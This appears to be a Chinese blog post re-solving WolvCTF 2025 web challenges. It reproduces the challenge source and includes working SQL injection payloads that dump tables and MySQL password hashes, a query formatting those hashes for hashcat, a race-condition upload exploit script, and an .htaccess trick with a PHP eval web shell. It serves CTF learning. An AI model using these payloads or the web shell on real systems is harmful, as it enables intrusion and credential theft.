WolvCTF 2025(remake)
本文最后更新于 29 天前,其中的信息可能已经有所发展或是发生改变。

去南京线下比赛了,就没参与上,现在来复现了

Web

javasc Puzzle

只有一个js文件

const express = require('express')

const app = express()
const port = 8000

app.get('/', (req, res) => {
  try {
      const username = req.query.username || 'Guest'
      const output = 'Hello ' + username
      res.send(output)
  }
  catch (error) {
      res.sendFile(__dirname + '/flag.txt')
  }
})

app.listen(port, () => {
  console.log(`Server is running at http://localhost:${port}`)
})

是Express框架,首先尝试从请求的查询参数中获取 username ,如果没有则设为 Guest

然后构造 output ,并通过 res.send(output) 将其作为响应发送给客户端。

如果在处理过程中发生错误,会尝试通过 res.sendFile(__dirname + '/flag.txt') ,将当前目录下的 flag.txt 文件内容作为响应发送给客户端

所以只要让他处理过程中出错就可以

使用字符串都不行,都只是拼接上的,所以要把username设置成对象,这样他解析就会出错

?username[toString]

解释一下为什么这样会出错

我们设置了username[toString],但没有为其指定具体的函数或值,当服务器端执行const output = 'Hello'+ username;时,它会尝试调用username对象的toString方法,但此时toString属性的值是undefined(也是因为在js中没有定义的toString方法),这就导致了错误的发生。因为undefined不是一个函数,不能被调用,所以会抛出类似于 “TypeError: Cannot convert undefined or null to object” 的错误,从而进入catch

Limited1

app.py

# imports
from flask import Flask, request, jsonify, render_template
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_mysqldb import MySQL

import os
import re
import socket

FLAG1 = 'wctf{redacted-flag}'

PORT = 8000


# initialize flask
app = Flask(__name__)

# No matter what I do, someone always tries dirbuster even when
# the source is provided.
#
# This is NOT intended to make this harder/slower to solve.
limiter = Limiter(
  app=app,
  key_func=get_remote_address,
  default_limits=["5 per second"],
  storage_uri="memory://",
)


def get_db_hostname():
  # use this when running locally with docker compose
  db_hostname = 'db'
  try:
      socket.getaddrinfo(db_hostname, 3306)
      return db_hostname
  except:
      # use this for google cloud
      return '127.0.0.1'


app.config['MYSQL_HOST'] = get_db_hostname()
app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]

print('app.config:', app.config)

mysql = MySQL(app)


@app.route('/')
def root():
  return render_template("index.html")


@app.route('/query')
def query():
  try:
      price = float(request.args.get('price') or '0.00')
  except:
      price = 0.0

  price_op = str(request.args.get('price_op') or '>')
  if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
      return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400

  # allow for at most one space on either side
  if len(price_op) > 4:
      return 'price_op too long', 400

  # I'm pretty sure the LIMIT clause cannot be used for an injection
  # with MySQL 9.x
  #
  # This attack works in v5.5 but not later versions
  # https://lightless.me/archives/111.html
  limit = str(request.args.get('limit') or '1')

  query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
  print('query:', query)

  if ';' in query:
      return 'Sorry, multiple statements are not allowed', 400

  try:
      cur = mysql.connection.cursor()
      cur.execute(query)
      records = cur.fetchall()
      column_names = [desc[0] for desc in cur.description]
      cur.close()
  except Exception as e:
      return str(e), 400

  result = [dict(zip(column_names, row)) for row in records]
  return jsonify(result)


#useful during chal development
# @app.route('/testquery')
# def test_query():
#     query = str(request.args.get('query'))
#
#     try:
#         cur = mysql.connection.cursor()
#         cur.execute(query)
#     except Exception as e:
#         return str(e), 400
#
#     records = cur.fetchall()
#
#     column_names = [desc[0] for desc in cur.description]
#     cur.close()
#
#     result = [dict(zip(column_names, row)) for row in records]
#     return jsonify(result)


# cause grief for dirbuster
@app.route("/<path:path>")
def missing_handler(path):
  return 'page not found!', 404


# run the app
if __name__ == "__main__":
  app.run(host='0.0.0.0', port=PORT, threaded=True, debug=False)

关键看到了那个sql语句,看到了flag1在注释中

同时是在limit进行注入,看看怎么闭合吧,复现也算是学到东西了,可以用*/去匹配注释

即匹配那个注释掉的flag的那个注释,这样我们就可以写入我们的sql语句了

*/1 order by 4
因为验证了只有四个字段
*/ union select 1,2,3,4
突然想起了跑偏了,flag是在注释中啊,但是不知道怎么查,去问了ai,ai说在information_schema.processlist中可以看到
information_schema.processlist是 MySQL 数据库中的一个系统表,用于提供有关当前执行的 MySQL 进程的信息,包括连接的相关信息、正在执行的查询、连接状态等。以下是对其相关信息的介绍:
字段详解
Id:类型为bigint unsigned,是线程的唯一标识符,每个线程都有一个唯一的 Id,用于标识和区分不同的线程,当需要结束某个进程时,可使用kill + id来结束进程
User:类型为varchar(32),表示执行该线程的用户的名称,有助于识别是哪个用户发起了线程
Host:类型为varchar(261),表示发起线程的主机名和端口,有助于追踪线程的来源,特别是在多主机环境中
DB:类型为varchar(64),允许为空,是线程当前使用的数据库的名称,如果线程没有使用任何数据库,该字段可能为空
Command:类型为varchar(16),表示线程当前正在执行的命令类型,常见的命令类型有query(线程正在执行查询)、sleep(线程处于休眠状态)、connect(线程正在连接到 MySQL 服务器)等
Time:类型为int,表示线程在当前状态下已经运行的时间(以秒为单位),可以用来识别长时间运行的线程
State:类型为varchar(64),允许为空,是线程当前的状态,描述了线程正在做什么,例如sending data(正在向客户端发送数据)等,有助于了解线程的当前活动
Info:类型为varchar(65535),允许为空,显示线程正在执行的 SQL 语句,这个字段可以帮助诊断和优化查询,但默认只显示前 100 个字符,要看全部信息,需要使用show full processlist

所以

*/1 union select group_concat(info),2,3,4 from information_schema.processlist

Limited2

用的资源是和1一样的,搜集看看其他的地方

那就是按我上面错误的走呗

*/ union select database(),2,3,4
#回显库名是ctf,继续往下找就可以了
*/3 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()--+
#[{"category":"Flag_843423739,Menu","description":"4","name":"2","price":"3.00"}]
*/3 union select group_concat(column_name),2,3,4 from information_schema.columns where table_name='Flag_843423739'--+
#[{"category":"value","description":"4","name":"2","price":"3.00"}]
*/3 union select group_concat(value),2,3,4 from Flag_843423739--+
[{"category":"wctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}","description":"4","name":"2","price":"3.00"}]

Limited3

题目信息:
Note: This uses the same source as Limited 1.

There is a db user named: flag

The password for this user is 13 characters and can be found in rockyou.

Please wrap this password with wctf{} before submitting.

For example, if the password was hocuspocus123 then the flag would be wctf{hocuspocus123}
翻译一下:
注意:这使用的数据源与 “Limited 1” 相同。有一个数据库用户名为:flag。该用户的密码是 13 个字符长,并且可以在 “rockyou” 密码字典文件中找到。在提交时,请将此密码用 “wctf {}” 括起来。例如,如果密码是 “hocuspocus123”,那么标志(答案)就应该是 “wctf {hocuspocus123}”

但当时没有什么思路啊,还去看了那个menu库,啥东西都没有,看题目说的要爆破,数据库用户是flag

说可以在rockyou字典中找到,也就是找这个字典进行爆破呗

*/3 union select group_concat(user),2,3,4 from mysql.user--+
倒是看到了flag库
[{"category":"ctf,flag,root,mysql.infoschema,mysql.session,mysql.sys,root","description":"4","name":"2","price":"3.00"}]
*/3 union select group_concat(user,authentication_string),2,3,4 from mysql.user where user='flag'--+
[{"category":"flag$A$005$vnO^]\u0003\u0010jL\u0002r3Gd3S\\K^ 8erddrLn9trvBOHKkct.70yfGLXt/DfcNXvsqY/p2PD","description":"4","name":"2","price":"3.00"}]
回显了这个,这边自己只是到了这一步,就不知道怎么弄了,去看了SU里好哥哥们的聊天记录和wp
用的是这个语句
select/**/CONCAT('$mysql',substring(authentication_string,1,3),LPAD(conv(substring(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*'))/**/AS/**/hash/**/FROM/**/mysql.user/**/WHERE/**/user='flag'/**/AND/**/authentication_string/**/NOT/**/LIKE/**/'%INVALIDSALTANDPASSWORD%'
这个确实有点没见过嘞,查查看
SELECT
  -- 使用 CONCAT 函数将多个字符串拼接成一个字符串
  CONCAT(
      '$mysql',
      -- 从 authentication_string 字段的第 1 个字符开始,截取长度为 3 的子字符串
      substring(authentication_string, 1, 3),
      -- 从 authentication_string 字段的第 4 个字符开始,截取长度为 3 的子字符串,将其从十六进制转换为十进制,
      -- 然后使用 LPAD 函数在左侧填充 0,使结果长度为 4
      LPAD(conv(substring(authentication_string, 4, 3), 16, 10), 4, 0),
      '*',
      -- 从 authentication_string 字段的第 8 个字符开始截取,转换为十六进制,
      -- 然后在第 41 个位置插入 '*'
      INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')
  ) AS hash
FROM
  mysql.user
WHERE
  -- 筛选出用户名为 flag 的记录
  user = 'flag'
  AND
  -- 筛选出 authentication_string 字段不包含 INVALIDSALTANDPASSWORD 的记录
  authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
队友用hashcat去跑了

借鉴文章:https://github.com/hashcat/hashcat/issues/3049

Art Content

下载附件

/index.php

<?php
session_start();

$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";

// Creating the session-specific upload directory if it doesn't exist
if (!is_dir($target_dir)) {
  mkdir($target_dir, 0755, true);
  chown($target_dir, 'www-data');
  chgrp($target_dir, 'www-data');
}
?>
<!DOCTYPE html>
<html>
<title>Ascii Art Submissions</title>
<h1>Ascii Art Submissions</h1>
<style>
      body {
          font-family: monospace;
          background-color: #f0f0f0;
          text-align: center;
      }
      pre {
          display: inline-block;
          text-align: left;
          background-color: #fff;
          padding: 20px;
          border: 1px solid #ccc;
          border-radius: 8px;
      }
  </style>
<div>
<p>Submit your best ascii art here!</p>
<pre>
/$$$$$$                     /$$ /$$       /$$$$$$             /$$    
/$$__ $$                   |__/|__/       /$$__ $$           | $$    
| $$ \ $$ /$$$$$$$ /$$$$$$$ /$$ /$$     | $$ \ $$ /$$$$$$ /$$$$$$  
| $$$$$$$$ /$$_____/ /$$_____/| $$| $$     | $$$$$$$$ /$$__ $$|_ $$_/  
| $$__ $$| $$$$$$ | $$     | $$| $$     | $$__ $$| $$ \__/ | $$    
| $$ | $$ \____ $$| $$     | $$| $$     | $$ | $$| $$       | $$ /$$
| $$ | $$ /$$$$$$$/| $$$$$$$| $$| $$     | $$ | $$| $$       | $$$$/
|__/ |__/|_______/ \_______/|__/|__/     |__/ |__/|__/         \___/  
                                                                         
</pre>
</br>
<pre>
              ,----------------,             ,---------,
      ,-----------------------,         ,"       ,"|
    ,"                     ,"|       ,"       ," |
    +-----------------------+ |     ,"       ,"   |
    | .-----------------. | |     +---------+     |
    | |                 | | |     | -==----'|     |
    | | C:\>Submit     | | |/----|`---=   |     |
    | | C:\>Art.txt :D | | |   ,/|==== ooo |     ;
    | |                 | | | // |(((( [33]|   ,"
    | `-----------------' |," .;'| |((((     | ,"
    +-----------------------+ ;; | |         |,"    
      /_)______________(_/ //'   | +---------+
  ___________________________/___ `,
/ oooooooooooooooo .o. oooo /,   \,"-----------
/ ==ooooooooooooooo==.o. ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________,"
</pre>
</div>
<div>
<h2>Submit your art</h2>
<p>Submit the ASCII art here. Submissions will be hidden until after they are judged!</p>
<form action="/" method="post" enctype="multipart/form-data">
  <input type="file" name="fileToUpload" id="fileToUpload"><br>
  <input type="submit" value="Submit Art" name="submit">
</form>
<?php

if (isset($_FILES['fileToUpload'])) {
  $target_file = basename($_FILES["fileToUpload"]["name"]);
  $session_id = session_id();
  $target_dir = "/var/www/html/uploads/$session_id/";
  $target_file_path = $target_dir . $target_file;
  $uploadOk = 1;
  $lastDotPosition = strrpos($target_file, '.');

  // Check if file already exists
  if (file_exists($target_file_path)) {
      echo "Sorry, file already exists.\n";
      $uploadOk = 0;
  }
   
  // Check file size
  if ($_FILES["fileToUpload"]["size"] > 50000) {
      echo "Sorry, your file is too large.\n";
      $uploadOk = 0;
  }

  // If the file contains no dot, evaluate just the filename
  if ($lastDotPosition == false) {
      $filename = substr($target_file, 0, $lastDotPosition);
      $extension = '';
  } else {
      $filename = substr($target_file, 0, $lastDotPosition);
      $extension = substr($target_file, $lastDotPosition + 1);
  }

  // Ensure that the extension is a txt file
  if ($extension !== '' && $extension !== 'txt') {
      echo "Sorry, only .txt extensions are allowed.\n";
      $uploadOk = 0;
  }
   
  if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
  echo "Sorry, that is not a valid session ID.\n";
      $uploadOk = 0;
  }

  // Check if $uploadOk is set to 0 by an error
  if ($uploadOk == 0) {
      echo "Sorry, your file was not uploaded.\n";
  } else {
      // If everything is ok, try to upload the file
      if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
          echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
      } else {
          echo "Sorry, there was an error uploading your file.";
      }
  }

  $old_path = getcwd();
  chdir($target_dir);
  // make unreadable - the proper way
  shell_exec('chmod -- 000 *');
  chdir($old_path);
}
?>

审了代码,要求必须是txt文件,这个好绕过,再审没有啥东西感觉

还有一个c语言的文件

#include <stdio.h>
#include <stdlib.h>

int main() {
  FILE *file = fopen("./flag.txt", "r");
  if (file == NULL) {
      perror("Error opening file");
      return 1;
  }

  char ch;
  while ((ch = fgetc(file)) != EOF) {
      putchar(ch);
  }

  fclose(file);
  return 0;
}

自己先传了传,都没什么用,看到了这个

shell_exec('chmod -- 000 *'):使用 chmod 命令将目标目录下的所有文件权限设置为不可读

SU里的m4x哥哥给了条件竞争的脚本,确实可以哈,是可行的,只要传的快就行

import hashlib
import random
import threading

import requests

url = "http://156.238.233.93:40000/"
sess = requests.session()
htacc = '''<FilesMatch "\.txt$">
  SetHandler application/x-httpd-php
</FilesMatch>'''
shell = '''
<?php system('ls -l ../../'); ?>
'''

sessionId = hashlib.md5(str(random.randint(100000, 999999)).encode('utf-8')).hexdigest()
filename = "a"
def upload_htaccess():
  global sessionId
  sess.post(url, files={"fileToUpload": (".htaccess", htacc)}, cookies={"PHPSESSID": sessionId})

def upload_shell():
  global sessionId
  global filename
  while True:
      sess.post(url, files={"fileToUpload": (f"{filename}.txt", shell)}, cookies={"PHPSESSID": sessionId})

def get_shell():
  global sessionId
  global filename
  while True:
      filename = hashlib.md5(str(random.randint(100000, 999999)).encode('utf-8')).hexdigest()
      res = sess.get(url + f"uploads/{sessionId}/{filename}.txt" , cookies={"PHPSESSID": sessionId})
      if res.status_code < 400:
          print(res.text)

upload_htaccess()
threading.Thread(target=upload_shell).start()
get_shell()

后来看了bao师傅的wp才知道

chmod *也是无法识别隐藏文件的,在linux里的隐藏文件给忘了
.shell.txt这样的
通过.htaccess
#define width 1337
#define height 1337
php_value auto_prepend_file "./shell.php.txt"
AddType application/x-httpd-php .txt

.shell.txt
<?php eval($_POST[1]);?>

上传之后蚁剑连接就可以了,又学到新东西了,哎,但是自己怎么就没去想条件竞争呢

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇